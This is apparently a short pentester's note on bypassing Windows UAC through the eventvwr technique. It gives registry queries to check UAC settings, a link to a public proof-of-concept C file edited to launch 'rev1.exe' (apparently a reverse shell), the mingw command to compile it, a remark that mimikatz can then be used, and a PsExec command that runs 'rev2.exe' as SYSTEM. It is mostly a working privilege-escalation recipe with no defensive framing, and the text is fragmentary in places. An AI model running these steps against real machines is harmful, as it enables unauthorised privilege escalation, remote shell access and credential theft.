UAC eventvwr
Check if UAC is On
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
EnableLUA REG_DWORD 0x1
PromptOnSecureDesktop REG_DWORD 0x1
When 2. & 3. is default or lower ( not work when ConsentPromptBehaviorAdmin
= 2 and PromptOnSecureDesktop
= 1)
ConsentPromptBehaviorAdmin
= 2 and PromptOnSecureDesktop
= 1)https://github.com/turbo/zero2hero/raw/master/main.c
GetCurrentDirectory(MAX_PATH, curPath);
strcat(curPath, "\\rev1.exe");
x86_64-w64-mingw32-gcc main.c -o 64.exe
64.exe -c rev1.exe
>>can use mimi alrdy
PSexec with high integrity shell to system
PsExec64.exe -accepteula -d -s C:\rev2.exe
Last updated